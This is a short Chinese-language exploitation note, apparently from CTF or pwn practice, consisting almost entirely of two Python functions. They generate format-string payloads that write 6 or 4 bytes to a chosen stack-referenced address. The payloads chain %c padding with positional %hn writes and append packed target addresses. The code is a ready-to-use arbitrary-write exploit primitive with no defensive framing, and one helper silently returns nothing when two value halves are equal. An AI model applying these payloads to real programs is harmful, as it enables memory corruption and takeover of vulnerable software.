栈上格式化字符串

往栈上某个地址一次写入6个字节

#target是目标地址,n0是想要写入的东西,k为ljust之后p64(target)为格式化字符串的第几个参数
def write_target(target, n0,k):
    n1 = n0&0xffff 
    n2 = (n0>>16)&0xffff
    n3 = (n0>>32)&0xffff
    #6种情况
    #n1>n2>n3
    if n1>n2 and n1>n3 and n2>n3:
     payload=(f'%{n3}c%{k+2}$hn%{n2-n3}c%{k+1}$hn%{n1-n2}c%{k}$hn'.ljust(40,'a')).encode()+p64(target)+p64(target+2)+p64(target+4)
     return payload
    #n1>n3>n2
    elif n1>n2 and n1>n3 and n3>n2:
     payload=(f'%{n2}c%{k+1}$hn%{n3-n2}c%{k+2}$hn%{n1-n3}c%{k}$hn'.ljust(40,'a')).encode()+p64(target)+p64(target+2)+p64(target+4)
     return payload
    #n2>n1>n3
    elif n2>n1 and n2>n3 and n1>n3:
       payload=(f'%{n3}c%{k+2}$hn%{n1-n3}c%{k}$hn%{n2-n1}c%{k+1}$hn'.ljust(40,'a')).encode()+p64(target)+p64(target+2)+p64(target+4)
       return payload
    #n2>n3>n1
    elif n2>n1 and n2>n3 and n3>n1:
      payload=(f'%{n1}c%{k}$hn%{n3-n1}c%{k+2}$hn%{n2-n3}c%{k+1}$hn'.ljust(40,'a')).encode()+p64(target)+p64(target+2)+p64(target+4)
      return payload
    #n3>n2>n1
    elif n3>n1 and n3>n2 and n2>n1:
      payload=(f'%{n1}c%{k}$hn%{n2-n1}c%{k+1}$hn%{n3-n2}c%{k+2}$hn'.ljust(40,'a')).encode()+p64(target)+p64(target+2)+p64(target+4)
      return payload
    #n3>n1>n2
    elif n3>n1 and n3>n2 and n1>n2:
      payload=(f'%{n2}c%{k+1}$hn%{n1-n2}c%{k}$hn%{n3-n1}c%{k+2}$hn'.ljust(40,'a')).encode()+p64(target)+p64(target+2)+p64(target+4)
      return payload

写入4个字节

def write1(target, n0,k=12):
    n1 = n0&0xffff 
    n2 = (n0>>16)&0xffff
    if(n1>n2):
       payload=(f'%{n2}c%{k+1}$hn%{n1-n2}c%{k}$hn'.ljust(0x30,'a')).encode()+p64(target)+p64(target+2)
    else:
       payload=(f'%{n1}c%{k+1}$hn%{n2-n1}c%{k}$hn'.ljust(0x30,'a')).encode()+p64(target+2)+p64(target)
    return payload